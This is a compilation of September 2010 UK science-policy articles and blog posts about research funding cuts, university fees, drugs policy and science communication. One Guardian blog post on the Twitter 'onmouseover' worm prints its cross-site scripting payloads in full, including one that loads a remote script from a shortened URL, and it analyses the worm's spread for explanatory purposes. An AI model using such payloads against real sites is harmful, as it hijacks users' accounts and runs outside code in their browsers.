of society. To counter this will to take more than a couple of public science figures throwing a couple of
numbers in the air and hoping people don't look too closely at them.
Kieron Flanagan 21 September, 2010
Matt - the findings of Jonathan Haskel are not strictly speaking empirical evidence, they are the result of
economic modelling of secondary data, collected for other purposes. The model contains a whole host of
assumptions, many of which have been shown by actual empirical research over a period of about 60 years to be
questionable.

There is a wealth of empirical evidence supporting the assertion that innovation is the key driver of economic
growth, and we know that technology is sometimes (but not always) an important component of innovation. In
turn, we also know that science is often a crucially important component of technological development - but
usually indirectly so. And this indirect influence is mostly about the human and institutional research capacity
created by the act of funding science, rather than through the actual knowledge produced per se.
Unfortunately, whilst published scientific information will always be with us, research capacity - the know-how
to absorb and apply knowledge - is easily destroyed and subsequently must be re-learnt from scratch.

This understanding is already compelling enough to persuade most advanced nations that they have no
alternative but to develop or maintain a leading-edge research base as a key component in a wider strategy of
innovation-based economic growth. The UK, as Brian Cox notes, is arguably the world's most productive
scientific nation. It is difficult to imagine how we can squeeze more effiency out of the UK science system
without risking its ability to function as a system.
Jonny R 21 September, 2010
As Kieron points out the broad point Cox is making is sound. But, from my perspective, it's just a shame that I
sense a bit of the usual (not too subtle) dig at the PPE straw man. It might be safer to assume that govt. is
stupid, rather than stupid because they came from a PPE background.

You never know, it might just be possible that there is some research in the Humanities or Social Sciences that
illustrates an alternative approach to government policy that would as a result allow for greater funding of
scientific research. Problem with that, I guess, is that during that research a few folks might wonder if
economic growth should be the major justification for education and research at all.
Academic 21 September, 2010
I am quite convinced that Uk universities will not be a nice place to work in the coming years. With fewer STEM
graduates and immigration caps in place, how long will it be before those multinationals that have a real need
for large numbers of highly skilled technical graduates just decide to relocate out of the UK? It is the CEOs of
those companies that pay large amounts of tax revenue that can communicate with George Osborne and stay
the bloody knives of Cable and Willets. If they value our graduates and postgraduates then they should be
fighting for us.
Dr Hectic 22 September, 2010
The special pleading arguments just demonstrate that we are stuffed. The banks have wrecked the UK and will
walk away when they have taken everything we have.
mark 22 September, 2010

417 | P a g e
VOLUME 10
@Academic - they are. A whole load of CEO's (I think?) wrote a letter recently to Cable and Willets saying
exactly this - does it look like the government took any notice? We're stuffed.

Every department will get massive cuts (except the NHS - need to pay all those doctor's £100k+ somehow -
don't get me wrong the NHS is a good thing - but how can we justify giving people salaries like this, and
furthermore ringfencing the budget that pays them, and at the same time decimate the science base?).

2010/09/21 TELEGRAPH: SCIENCE FUNDING


CUTS: UK SCIENTISTS STRUGGLE TO 'DO MORE
WITH LESS'
Researchers have long defied tight budgets to produce world-beating work. But, they argue, the latest cuts
will go too far, says Tom Chivers.

By Tom Chivers

The Large Hadron Collider. CERN is facing an £85 million cut in funding next year. Photo: AFP/Getty Images

Tom Whyntie is worried. The PhD student works at CERN (the European Organisation for Nuclear Research)
on the Large Hadron Collider (LHC) in Geneva, which is partly British-funded. “The UK cuts in
the science budget are affecting CERN’s research programme already,’’ he says. ''We look pretty bad.”
CERN’s funding is to drop by £85 million next year. “The atmosphere is not pleasant.”

Worse is to come. This month, Vince Cable, the Business Secretary, made a speech that chilled the British
scientific establishment. Insisting researchers “could do more for less”, he said taxpayers’ money should
not be used for research “which is neither commercially useful nor theoretically outstanding”. He claimed
that 45 per cent of British research grants were going to research that was “not of excellent standard”.

In short, the knives are out for government-funded scientific research, with widespread cuts amounting to
25 per cent of the current budget expected.

418 | P a g e
VOLUME 10
Is Dr Cable right? Can we do “more with less”? At the coal face, researchers doubt it. Dr Lewis Dartnell of
University College London, who studies the possibility of microbial life on Mars, is downhearted. “Science
funding in the UK is already extremely competitive, and many first-rate research projects are already falling
unfunded. Cutting back funding won’t sort the wheat from the chaff, but will mean that even more
excellent science is neglected.”

Britain is a world leader in scientific research. With just one per cent of the world’s population, it accounts
for eight per cent of scientific journal articles, and 14 per cent of high-impact citations (a measure of how
influential the research is). And it is already doing this with “less” in one sense; the UK spends 0.55 per cent
of GDP on research and development, compared to Germany’s 0.71 per cent, France’s 0.81 per cent and
the USA’s 0.77 per cent.

Lord May, the chief scientific adviser under the Major and Blair governments, says that our scientists are
among the best in the world at getting value for money from funding. “In terms of how the output related
to the input – the citations and papers compared to the money spent – we were number one. In terms of
value for money, we were top between 1990 and 2003. We may have dropped to second or third now, as
'inputs’ increased under Labour. But basic science is something Britain does exceptionally well and
exceptionally efficiently.”

Dr Dartnell insists that this science pays for itself. Finding out about the universe is wonderful, he says, but
it is also an investment. “Everybody in the country will suffer if we lose our edge in innovation feeding into
the economy,” he says. “This isn’t just about trying to protect jobs for scientists.”

Scientists, of course, might be expected to moan about the cuts, but business leaders are concerned as
well. Around 30 per cent of UK GDP comes from science and technology-intensive areas. Industry chiefs,
including the heads of IBM, GlaxoSmithKline and Airbus, wrote an open letter in June to the Government
pushing science’s case, saying “high-skills industries are where the future lies.” Imran Khan, the director of
the Campaign for Science and Engineering, agrees. “Cutting science spending is a bad way to reduce the
deficit, since you need private sector spending to get growth,” he says. “Public spending leverages private
sector investment.” He feels the economic case for science is watertight.

What he is really concerned about, though, is the idea of Britain losing its best scientific minds to other
countries. “Our competitors are increasing spending just as we’re looking to cut, which exacerbates
things,” he says. He contrasts Dr Cable’s speech with statements by other governments in recent months.
Barack Obama, the US President, was particularly bullish: “There are those who say we cannot afford to
invest in science. I fundamentally disagree. Science is more essential for our prosperity than it has ever
been before.” Germany and France have made similar noises to Obama, while India and China have
increased their funding.

Back at the LHC, Mr Whyntie is pessimistic. “Basically, if they cut science, I’ll be going somewhere where
they value science,” he says. “Scientists are fickle. Instead of striking, they will just b----- off.”

Dr Dartnell also believes that Britain faces a brain drain. “If the UK smothers its research base, scientists
will migrate elsewhere. Even if researchers remain in the UK but leave for other employment, we’ll still
have a problem when the economy picks up. Scientific output isn’t a tap that can be turned on and off.
Once research groups have disappeared and expertise has leaked away it will be difficult to get back.”

This fear is widespread. Dr Jenny Rohn, a UCL cell biologist and director of theScience is Vital campaign,
said: “The proposed level of cuts is unacceptable. Scientists are really, really upset.” Her organisation plans
a march of lab-coat-and-hard-hat-wearing scientists through London next month, and expects thousands
to turn up. The group is lobbying parliament and organising a letter-writing campaign to MPs.

419 | P a g e
VOLUME 10
Professor Jim al-Khalili, a physicist at the University of Sussex, echoes her concern. “I work in one of the
largest nuclear research groups in the UK. Despite our leading reputation in fundamental research, much
of what we do has immediate applications in healthcare, radiological protection and industry.

“If the axe falls, this small but vibrant discipline may be wiped out, ending 100 years of the UK’s leading
role in the subject. The situation is dire.”

The Department for Business, Innovation and Skills (BIS) is adamant that the cuts when they come will be
applied intelligently.

“It’s unhelpful to speculate on the spending review while the process continues,’’ a spokesman says. “The
Government recognises the key role research, technology and innovation will play in rebalancing the
economy and wants science to emerge from these tough economic times to be strong, sustainable and
effective. But public spending on science, just like everything else, has to stand up to rigorous economic
scrutiny. In these austere times, the public should expect nothing less.”

And, to be fair, there are voices within the scientific arena who understand the thinking behind the cuts.
Frank Swain, a science journalist, acknowledges the politics of it. “People will want to know why we’re
spending however much on the Large Hadron Collider while cutting winter fuel allowance for the elderly.
That’s a very emotive argument, and a difficult one to answer because the fruits of scientific labour can
appear very distant. We all agree that science is a good thing, but if asked to choose between laboratories
or schools, people gravitate toward more immediate needs.”

Dr Evan Harris, the former Liberal Democrat science spokesman, warns that the scientific community
cannot expect to avoid budgets being cut. “Cuts of 25 per cent or so are coming in for BIS. It’s hard to
believe that science will be protected, given what a large part of the BIS it represents.”

Scientists do not feel particularly valued at the moment. As Lord May has pointed out, funding has only just
climbed back to 1986 levels – and now they are left wondering just how much less they can cope with.

2010/09/21 RESEARCH FORTNIGHT: MISSION


IMPOSSIBLE
William Cullerne Bown

Dear Science is Vital,

You of course are part of the plan.

A vocal new campaign for science is a necessary partner in the cha-cha-cha the Treasury wants to lead us
on. To be spun around and lifted spectacularly. Before being discarded.

There are three objectives for the Treasury at the moment. Cha! To force students and their parents to pay
more for their degrees. Cha! To drive down costs in universities (for which read pay, pensions, perks). Cha!
To get the most out of universities in terms of economic growth.

These have to be tackled in the correct order. If the steps get out of sequence, the Treasury may fall flat on
its face, as it did over the 2008 RAE.

420 | P a g e
VOLUME 10
At the moment, there is a brief window of opportunity for a radical reform of university financing and
student fees. The Browne review was scheduled long ago to report in the honeymoon period of a new
government to make it easier to drive through reform. The coalition is intensely aware of the clock of
popularity ticking against it and is driving through radical reforms as fast as it can manage. Take a look at
what’s happening to the NHS or our voting system.

So the first step is this. University budgets are to be cut viciously, prompting squeals of agony from
academia. This is where you come in. Your cries are necessary to persuade students and parents that the
universities really are facing a financial crisis. Even as you tangle with the government, you will be doing its
dirty work.

The offered saviour, riding over the horizon, will be radically higher student fees recommended by Browne.
The country will be told, by the government and universities and you, that there is no alternative.

(BTW Browne seems to be making progress with his second task, coming up with a system that the Lib
Dems can badge “progressive”. Did you notice that the putative leader of the Lib Dem refuseniks, Menzies
Campbell, is now talking the language of realism?)

Step 1 of course may help with step 2. If students are paying more for their education, they may become
fussier over what they are buying, and start to choose courses partly on the basis of cost. This in turn may
force universities to pay staff less and work them harder. But the idea that the market will drive down
costs and make universities more efficient is a huge gamble, and it will be years before it’s clear whether
the new regime is working or not. To mention but two of the myriad complications, in a free market
students may choose cheaper courses, and not science and engineering, in a free market the private
providers may be wiped out by mainstream universities offering courses in accountancy and the like.

This is why David Willetts announced a new higher education bill last week. He needs a stronger HEFCE (or
something similar) to enforce a dirigiste regime to improve the student experience and drive down costs.
Yes, that’s the opposite of a market approach and the stuff about fewer managers is probably wishful
thinking. But still, the hope at least must let him sleep at night. For universities, the reality of the coming
years is going to be a maelstrom of uncertainty.

Finally, before the next election, we will reach step 3. Once the government is happy that students are
paying more and academics are earning less, then it will turn its attention again to the question of
economic growth, and the role of the universities in that. It doesn’t want to discuss this now because, as
Vince Cable explained in his speech last week, the global consensus backed by the OECD is for increased
spending on research and innovation even as total public spending is cut. Groundless assertions, such as
that UK research is “inefficient”, are just there to allow ministers to avoid facing the substantive issue.

And there’s the rub. The question of where the growth is going to come from is the biggest facing the
coalition. The global economy is not taking off, as it did to rescue Geoffrey Howe in the early 1980s. The
OECD and others are therefore arguing that George Osborne’s budget cuts are too deep, too soon. If the
UK economy continues to bump along the bottom in a feeble, jobless “recovery” then growth rapidly
becomes not only an economic imperative but a political one. The coalition will have to explain its
economic philosophy.

In the five years or so while we wait for the cha-cha-cha to reach step 3, we may of course trash large
swathes of our knowledge infrastructure. So, Science is Vital, I hope your footwork is good. Cable is not
your enemy. Your mission, should you choose to accept it, is to turn step 3 into step 1.

Da-da-da. Da-da-da. Da-da.

421 | P a g e
VOLUME 10
2010/09/21 FT: UNIVERSITY TEACHING FUNDS
IN LINE OF FIRE
By Chris Cook, Education Correspondent

Universities could be forced to double tuition fees on some courses just to preserve their current income
under plans that signal teaching budgets could bear the brunt of cost savings in order to protect research.

Government officials are considering a proposal to cut the £4.7bn teaching budget for universities to only
£1.2bn as part of its austerity drive. This would allow the department for business to shelter the £6bn
research budget, which would be cut by £962m.

The teaching budget is used to subsidise university courses. Alongside the undergraduate tuition fee, which
is capped at £3,290, they receive between £2,641 and £14,494 per student annually depending on the
course.

The plan is one of several options being considered and the business department, which oversees
universities, said no decisions had been taken. But Steve Smith, vice-chancellor of Exeter university and
president of Universities UK, the higher education umbrella body, said the proposal was one of several
signs that “the teaching side will be hit much harder than the research side”.

It is widely assumed by university vice-chancellors that cuts to teaching budgets would hit arts and social
science students hardest in order to protect “strategically important and vulnerable” subjects such as
science, technology, engineering, maths and languages.

If the subsidy for arts subjects were to be abolished and universities wanted to maintain their current
income per student, fees for UK and EU history undergraduates, for example, could rise from £3,290 to
£5,931.

According to the London School of Economics, English universities spend an average of £1,700 more than
they receive for each student on a classroom-based course. The average annual fee for a history degree
would therefore need to rise to £7,631 if universities were to avoid making a loss.

Lord Browne, the former chief executive of BP who is reviewing the financing of UK universities, is
expected to recommend a rise in the maximum permitted fee when he reports next month.

Many universities were counting on the Browne review leading to a large increase in their income. But
cutting the teaching budget would mean a large rise in the fee cap would be needed just to maintain their
current position.

The sector is not in rude health. At least 29 institutions ran a financial deficit in 2008-09 – about twice as
many as in 2007-08 – according to statistics released by Universities UK. “Even if Lord Browne recommends
bringing in higher contributions by graduates, we cannot assume that every university will be able to raise
the money they need that way,” said Professor Smith. “The impact of teaching budget cuts would not be
evenly spread.”

Universities also fear Liberal Democrat MPs could vote down proposals that would allow them to maintain
their incomes. According to Prof Smith, “the nightmare ... is we find Browne’s recommendations do not
pass parliament or are delayed, and in the meantime we get cuts to our government budgets”.

422 | P a g e
VOLUME 10
Aaron Porter, president of the National Union of Students, said: “Cuts at anything close to the swingeing
levels being posited would be entirely self-defeating.

“To withdraw funding from our colleges and universities would quickly demolish the UK’s standing as an
educational envy of the world and expose us to international ridicule for failing to recognise the clear
relationship between investment and return.”

2010/09/21 GUARDIAN SCIENCE BLOG


MARTIN: TWITTER HACK: THE SPREAD OF AN
ARTIFICIAL LIFE FORM

An irritating but harmless Twitter hack provides a remarkable example of a pandemic in action

The self-replicating code of the Twitter hack is known as a


worm, but in biological terms it behaved just like a virus. Photograph: Mario Anzuoni/Reuters

The exploit was fairly simple, but remarkably effective. Somebody found a bug in the Twitter.com website
that allowed them to insert simple bits of JavaScript – a programming language that lets people add
interactivity to web pages – into messages or Tweets sent on the service. The code was able to detect
when the user's mouse passed over the tweet, and trigger a retweet. By hijacking user input in this way,
the Twitter hack code was able to replicate itself. And so a new artificial life form of tenuous sorts was
born.

In computer parlance this little piece of self-replicating code would be called a "worm", but in biological
terms it's more akin to viruses, little lumps of genetic code in protein coats that rely on hosts to assist their
reproduction. Likewise, the artificial equivalent hid the offending code (the "onmouseover" section
highlighted in bold below) inside a nondescript coating designed to pass through Twitter's validation
processes undetected, in this case a link to a website.

One of the first versions of the code looked like this:

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()

423 | P a g e
VOLUME 10
" style="color:#000;background:#000;/

You can see the effect of this in the picture below, above a passionate defence of lentils, which
both @gimpyblog and I agree are very tasty indeed. Moving the mouse over the curious black box triggers
a retweet:

Black boxes of doom created by a


Twitter worm

Real viruses evolve, and this Twitter worm was little different, with the code changing as the hours passed
and the epidemic spread – albeit with the help of intelligent hands rather than simple mutation. New
variants appeared, exploring ways to increase the virulence of the code, making it more disruptive and
contagious.

These more successful versions worked on the basis that the greater the area of the user's screen affected
by the virus, the more likely they were to move the mouse over it and trigger its payload. Early variants
found a way to produce very large text:

http://t.co/@"style="font-
size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Giant blue text is hard to avoid with


your mouse

And eventually breeds appeared that were able to cover the whole page, making it almost impossible for
users of the Twitter website to avoid activating the code.

So thanks to unwitting users, the rogue code was able to spread, and it did so rapidly, through what
biologists would call "horizontal transmission" (moving from peer-to-peer as opposed to parent-to-child or
"vertical" transmission). This graph of an early "t.co" variant shows what percentage of Twitter traffic was
affected over time, which should be roughly proportional to the number of infected users:

424 | P a g e
VOLUME 10
The spread of a "t.co" variant of the
Twitter worm, captured by Trendistic.com

Interestingly, there are two peaks: a little bump at around 10.30am, and then a much larger mountain over
lunch (British time). I would assume that there's much more traffic on Twitter over lunch, when workers
are using the site on their breaks, but the structure of social networks may explain it as well.

The worm might have appeared in a slightly isolated cluster of users to begin with, taking a while to break
out into the wider world. In the real world, the spread of a virus often remains local when the rate of
infection remains below some critical value – if it can't infect new people at a great enough rate, it risks
burning out before it can spread to new areas.

On Twitter, the spread of the worm to a highly connected person or people may have been enough to tip
infection rates over that threshold and allow it to break out into the wider world. It may not be a
coincidence that around the time the second peak was building Sarah Brown was infected, retweeting the
bug to her 1.1m followers like a virtual Typhoid Mary.

As the epidemic became a global pandemic, its geographical spread highlighted the links between Britain
and the rest of the world. To begin with, the outbreak was focused on London:

A map of the Twitter worm


outbreak around noon, captured by Trendsmap.com. In the first hours, London was a leading hub of
infection

But it spread globally, particularly in English-speaking nations like Australia and the United States, who
came late to an epidemic which started well before most Americans turned their computers on in the
morning.

425 | P a g e
VOLUME 10
A map of the Twitter worm
outbreak around 3pm, captured by Trendsmap.com. As dawn broke across the Americas, the worm took
hold along the Eastern seaboard

What's amazing about this outbreak is the speed and quality of data available. In Twitter we have a well
defined network of people and a record of every single tweet sent. For those seeking to understand how
infectious diseases spread through networks of people – either in the real or virtual worlds – this sort of
data is invaluable, and it would be brilliant if Twitter could be persuaded to release some of it to
researchers.

As someone who's dabbled with epidemiological models in the past I'd love to have a play with their data,
so I've contacted them on the off-chance, and if I get anything back I'll return to the subject.

2010/09/21 GUARDIAN CIF: A CHANCE FOR


A SCIENTIFIC DRUGS POLICY
There's a growing recognition that Labour's incoherent drugs policy has failed. Let's build a science-based
replacement David Nutt

Last week Professor Roger Pertwee called for cannabis to be licensed for sale, and now Tim Hollis, the
Association of Chief Police Officers' lead officer on drugs, has said the current criminalisation-based
approach to policing cannabis use should be reviewed. Pertwee and Hollis are bringing a welcome breath
of fresh air to the debate about drugs and the harm they do.

The government now has the chance to take a genuinely science-based approach to drugs policy. Labour
took an extremely distorted and punitive view of cannabis. It rejected both scientific evidence and public
opinion that its harms were relatively modest and reclassified it to Class B status under the 1971 Misuse of
Drugs Act so that possession for personal use can now result in up to five years in prison. Worse, Labour
also instigated a policy of pursuing users with an almost religious fervour with police sniffer dogs assisting
in interventions at tube stations and other places where users might be easily sequestered and searched.

Why was this done? It appears that Labour believed that cannabis was very harmful to mental health;
especially that it caused schizophrenia. Yet as the advisory body the ACMD pointed out in its 2008 cannabis
review, to stop one case of schizophrenia more than 5,000 young men would have to be prevented from
ever using cannabis. This statistic negates any meaningful value in controlling cannabis to improve mental
health.
426 | P a g e
VOLUME 10
Labour also held the view that punishment would reduce use and hence harms. There is no meaningful
evidence in favour of this view. The evidence we do have – for example, from the experiences with
decriminalisation in the Netherlands and some Australian states – is that decriminalisation leads to a
reduction in harms.

Science cannot determine alone what the framework for drugs regulation should be. But if policy is not
grounded in the science it can easily collapse into prejudice, moralism and authoritarianism. The chaos
earlier this year over the "legal high" mephedrone raised very significant issues of evidence in relation to
new drugs of unknown harm. Alcohol is legal yet is producing growing levels of damage which are well
detailed in government reports but recommendations for harm reduction are not acted upon. A
recentscientific review of drug harms, originally published in The Lancet, found that many class A drugs are
in fact less harmful than alcohol. This raises further questions over the coherence of current drugs laws.

In the face of a rising tide of dissatisfaction with the intellectual rationale for the current drugs laws, the
coalition should seize the opportunity to establish a genuinely science-based approach to drugs policy.

2010/09/22 ALICE BELL BLOG: THE DISCIPLINE


OF SCIENCE COMMUNICATION
The latest edition of the Journal of Science Communication is up, and I’m in it.

I was asked to discuss the question ‘does science communication deserve special attention as an academic
discipline?’ Read my contribution, and you’ll see I don’t really answer the question. Or rather I answer with
a simple negative and then, um… spin that out for a few pages with a long list of references. Susanna
Hornig Priest’s contribution is much better. Read that instead.

Something Hornig Priest refers to is the difference between inter-disciplinary and multi-disciplinary work
(or, the difference between connecting disciplines and mixing them). I think this sort of awareness of
discipline is something shared by everyone involved in science communication. As I argue in my
contribution, for me science communication is less a community of researchers, and more a space where
we deal with the fact such communities of research exist. It is a consequence of the spaces left between
fragmented expertise, a weird by-product of modernity. So, I refused to answer JCom’s question properly
not just out of petulance, but because I feel more like someone who works in the spaces between
academic disciplines than one desiring of building their own.

This middle ground is not always an easy place to reside, but an awareness of this unease is part of how I
think science communication scholars can be useful; as we examine, reflect, debate and help others
manage the clashes between communities of knowledge. As such, I think it necessarily involves a fair bit of
both multi and inter-disciplinary work, as well as a strong awareness (I’d personally add, involvement) with
practitioners and audiences. This does also mean you spend most of your life ignorant of most of what you
are looking at. You feel constantly stupid (but in exchange you get to see loads of different amazing things).

It’s not for everyone and nor should it be, but it’s where I work.
9 Responses ―The discipline of science communication‖ →
Guy Nassé
September 23, 2010
It is an interesting point you make. I think I have always seen communication as being part of science rather
than a separate speciality. However, where it is most important possibly, is at the boundaries between
different disciplines. Frequently, this is often where scientific progress occurs and I wonder whether that is
where we need better understanding of the art of communication between experts.

427 | P a g e
VOLUME 10
Kat Arney September 23, 2010
Is it, in fact, part of *whispers* media studies?
alice
September 23, 2010
Nothing wrong with media studies! Except perhaps the odd bit of snobbery about science
communication… yes, sci com studies, even media studies thinks it‘s ―mickey mouse‖ :) Also, that not all
sci com work falls under media stuff (literature, film, cultural and policy studies all relevent too).
Kat Arney
September 24, 2010
I agree – Sorry to imply that I thought there was something wrong with it – should have taken
more time to spell out what I meant! One of the most interesting parts of my sci comm course
(Birkbeck) for me was looking at the portrayal of science in the media – up until that point I‘d
always dismissed it as waffly nonsense, or the easy option for A level students who aren‘t any
good at proper subjects ;) Boy, was I proved wrong! It‘s now an area I‘m fascinated by, both
professionally and personally.
See also, my conversion to philosophy :)
Carl Legge
September 23, 2010
―Six month‘s ago I couldn‘t even spell physicist, now I are one.‖*
To borrow from recent political debate, it‘s axiomatic that not all scientists ‗speak human‘ or even the language
of their audiences. Depending on what they are trying to achieve it‘s not necessarily a problem.
Of the ‗Five Ws‘ the most important starting point is ‗Why?‘ Why are you [scientist] communicating – what are
you trying to achieve? It‘s trite that this helps you with the other Ws and in formulating target audience,
message, media etc.
So I‘m not sure I understand the question you were posed. It seems incomplete. Does science communication
deserve a (sic) special attention as an academic discipline: by who, for what purpose? If it helps scientists and
non-scientist communicators do the job of communicating better, then most would say ‗yes‘. All our Reithian
wishes would be better achieved and probably more economically efficiently too.
If all it does is prompt is academic navel gazing or worse then merda taurorum animas conturbit.
*BTW – I‘m not (a physicist – LLB MBA me) and it‘s apocryphal and normally said about engineers.
alicerosebell September 23, 2010
The extra ―a‖ was my typo caused by blogging in the middle of the night when I haven‘t had a day off
for about a month – fixed now.
More importantly – a large part of what science communication as an area of scholarly study has
contributed to the world is the posing (answering, deconstruction and generall discussion) of what you
see as the missing part of the question. It‘s one of the first things I get my students to talk about. The
other key contribution is their involvement in the professionalisation of the field – science
communication increasingly done by science communicators (who often have degrees in the subject,
hence academics like me to teach it) – not scientists.
Carl Legge September 23, 2010
Alice – thanks for the reply.
You highlight a parallel between the art/science of communication and the academic study in my
view. The importance of both is in what you achieve with it – not what you say.
So the ‗fault‘ in a missed communication lies with the communicator not the audience. And if
treating something as an academic discipline improves its execution all well and good.
I‘m curious though as to why it‘s important to the Journal and the ‗field‘ to have the question
answered. What‘s the consequence of answers either way and is that, of itself, important?
alicerosebell September 23, 2010
Not sure why people want an answer to that question – my response was that it‘s not
really worth worrying about. In the end the journal labelled the pieces ―Road maps for
the 21st-century research in Science Communication‖ , so perhaps they weren‘t so sure
about it either. (they didn‘t tell us this in advance though – might have been helpful in
composing my piece…)

428 | P a g e
VOLUME 10
2010/09/22 THE GREAT BEYOND: EUROPEAN
COMMISSION WITHHOLDS RESEARCH ON BIOFUEL
POLICY
The European Commission is accused of withholding research on the environmental impact of EU biofuels
polices. (Reuters, EU Observer, European Voice)

Four Environmental groups filed a lawsuit against the Commission on Monday to gain access to a study
that assessed the environmental impacts of an EU policy that requires member states to use renewable
energy sources to meet 10% of their transport needs by 2020. Under the rules adopted last year, it is
expected that this target will be met in large part through the increased use of biofuels.

The study carried out for the Commission by the International Food Policy Research Institute, based in
Washington DC, assessed what the environmental impacts would be if member states used biofuels to
meet 7% of their road transport fuel needs by 2020.

It analyses the impact of this level of biofuel use on indirect land-use change: where forests are converted
into cropland to replace those lost to biofuel production. Environmental groups are concerned that such
practices can lead to an increase in carbon emissions.

The study is part of an assessment that the European Commission is undertaking to examine the impact of
the EU policy on indirect land use changes. The Commission’s assessment is due to be completed by 31
December this year, and could result in changes to the current EU rules if it is found that existing policies
would have detrimental impacts to the environment.

The legal case against the Commission says, “The Commission is withholding scientific evidence
demonstrating the true environmental impacts of EU biofuel policies. The concern underlying policymaking
on biofuels is that the Commission is conforming the science to the policy, not the policy to the science.”

The case is being brought by ClientEarth, a not-for-profit group of environmental lawyers which has its
headquarters in London; Transport and Environment a sustainable transport campaign group based in
Brussels; European Environmental Bureau, a campaign group also based in Brussels; and BirdLife
International, a group of conservation organisations with its headquarters in the UK.

According to Reuters, this is not the first time the Commission has withheld research on its biofuels policy.

Nor is it the first time the Commission has stifled research that puts its policy proposals in a bad light
(See Nature's news story on the EU's chemcial's policy).

Posted by Natasha Gilbert

429 | P a g e
VOLUME 10
2010/09/22 S WORD: UK SCIENTISTS PLAN
PETITIONS AND PROTESTS AGAINST CUTS

Imran Khan and Katherine Barnes, Campaign for Science and Engineering

As the countdown continues before the details of October's Comprehensive Spending Revieware
announced, scientists are already preparing protests against what they expect will be deep cuts at Vince
Cable's Department of Business, Innovation and Skills (BIS).

The CSR, which will lay out departmental funding for the next five years, is due to be published on 20th
October, but it is still far from clear when the critical decisions on science will actually be made. Michael
Crick notes in his BBC Newsnight blog that whereas other departments such as Justice, Work and Pensions,
and Schools are now "virtually settled" or at least "getting there", Vince Cable still has a long way to go,
with funding reservations not expected to be resolved until the last minute.

This may be partly due to the fact that BIS straddles both business and higher education, and that
the independent review on university funding chaired by Lord Browne is not due out until 10th October,
just ten days before the CSR is released.

The importance of sustained university funding has been highlighted by the latest World University
Rankings published by the Times Higher Education. In what is dubbed as a "reality check" for universities,
the report reveals that although the UK remains a clear second after the US and ahead of the rest of the
world, Britain's performance has "deteriorated", with the UK losing ground to other countries such as
Germany, the Netherlands, Canada and Australia. Most worryingly, Germany is planning to increase its
spending on research, while the UK is now braced for cuts.

Vince Cable's speech at Queen Mary, University of London on 8th September only succeeded in sparking
more concern among the scientific community. His statement about "doing more for less" and a blunder in
a BBC interview using statistics from the Research Assessment Exercise and research council grants led him
to comment that 45% of grants were going to research that was "not of an excellent standard".

In reality, the overwhelming majority of research money funds work that is world-leading or internationally
recognised. Cable's comments have also put him at odds with the strategies of other countries, with the
leaders of the USA, Germany, France and India all stressing theircommitment to investment in science and
engineering.

In a September submission to the spending review, the Confederation for British Business (CBI)make the
case for sustained funding throughout the university base, arguing that "a university which may not make
the top 20 on overall research income from the Research Councils, or research assessment scores, may still
have one or two departments or a number of research groups producing research at the highest levels."

The report emphasises that it is therefore "vital to continue support for these pockets of excellence to
ensure they have the critical mass to remain sustainable". The CBI also notes that "excellence as
highlighted by the Research Assessment Exercise does not necessarily have the greatest economic impact,
or relevance to business. Any mechanism used to concentrate funding or to identify priorities must take
this business relevance into account."
430 | P a g e
VOLUME 10
The unease among scientists at the Government's proposed "efficiencies" has led to a new coalition under
the banner "Science is Vital". The group has plans for an online petition and a protest in central London on
9th October, culminating in a lobby of parliament on 12th October, with MPs being invited through an
online letter-writing campaign.

Dr Jenny Rohn, one of the organizers of Science is Vital, says, "As a scientist, I passionately believe that the
work we do is crucial for economic stability and leads to improvements in our way of life. A wholesale
dismantling of the incredible scientific infrastructure we have here in the UK would do more harm to the
economy."

The campaign aims to highlight to ministers the political cost of cuts to the science budget, outlining the
proven economic returns of science funding in both the short and long term. Rohn adds that it is incredibly
important that scientists and engineers up and down the country seize the moment and support Science is
Vital by signing the petition, coming to central London, and lobbying their MP. "It could help set the UK's
economic and social landscape for years to come."

The Campaign for Science and Engineering (CaSE), is supporting the coalition, having organised a cross-
party Early Day Motion in Parliament, and is assisting with planning. It should serve as a wakeup call for
Government that we have a genuine grassroots movement emerging from the science community,
demanding to be listened to.

2010/09/22 IN VERBA RS BLOG: DEMOCRATIC


SCIENCE WITH DR CABLE
By Marie Rumsby

Four months into the coalition Government, over 6,500 party members and policy enthusiasts have
gathered in Liverpool to debate with Liberal Democrat’s leader, Ministers and Members of Parliament. All
present are keen to work out “what next?” for the party and the new Government.

On Monday evening, Business Secretary, Dr Vince Cable, spoke at a Royal Society fringe event to give his
take on the role of research in securing our future prosperity. Speaking alongside Sir Martin Taylor FRS,
Professor Cary Cooper and Aileen Allsop, Cable distanced himself from the school of thought that pits basic
research against applied research, saying that there is a “false debate between the common room and the
board room” and that “the Government doesn’t buy it”.“Innovation based on science,” he said, “is the
most powerful driver of growth”.

431 | P a g e
VOLUME 10
But his principal message was clear and unequivocal – tough choices must be made about government
spending. This makes him, in his own words, “the bad guy”.

He said that there is a “powerful, compelling case” for government support for science. But he pleaded
with the science community to give some indication as to what the priorities are – something he feels the
government is not getting enough help with. (For more coverage of this point: Simon Denegri from the
Association of Medical Research Charities | Tom Chivers in the Telegraph).

“For example, is it more useful to spend more money on PhDs in STEM subjects or to spend the money on
an Antarctic base?” he asked. Nobody in the room offered an answer. The Society argued in its submission
to Cable’s department that such decisions will be hard to make strategically because of the inflexibility of
many scientific investments.

It’s now less than a month until we hear the outcomes of the spending review. While many are still
focused on securing the best overall settlement for science and universities, Government already appears
to be thinking about how to slice up the budget.

The Royal Society will be hosting similar events at the Labour and Conservative Party conferences. More
information is available here.

Sir Martin Taylor FRS is former Vice-President of the Royal Society and Chair of The Scientific
Century advisory group.

Aileen Allsop is Vice President for Science Policy, Research and Development, AstraZeneca

Professor Cary Cooper is Chair of the Academy of Social Sciences

2010/09/22 GUARDIAN SCIENCE BLOG


MARTIN: COCAINE DETECTORS FOR PARENTS ARE
A TERRIBLE IDEA

Nearly being arrested for drug smuggling provided me with an excellent introduction to the problem of
false positives

My holiday was going horribly wrong. As I stood with two armed Bermudan security officers and
contemplated the grim prospect of spending my first night in the country locked up in a prison cell for
smuggling cocaine, I realised with hindsight that agreeing to carry thousands of pills through customs for
my Mum had been a bad idea.

It was January 2003, I was 21 years old, and my parents had moved to Bermuda a few months previously
after my Dad took a job in the country. Settling in to life on the tiny, mile-wide island they swiftly
432 | P a g e
VOLUME 10
discovered that there are some things you just can't get hold of there, and so in exchange for a free plane
ticket Mum had a bunch of stuff delivered to my grandparents' house in London (I lived in Wales at the
time) for me to pick up on my way to the airport and bring out on the plane with me in a second suitcase.

I turned up to find my Granddad standing next to a case packed with what looked like the results of
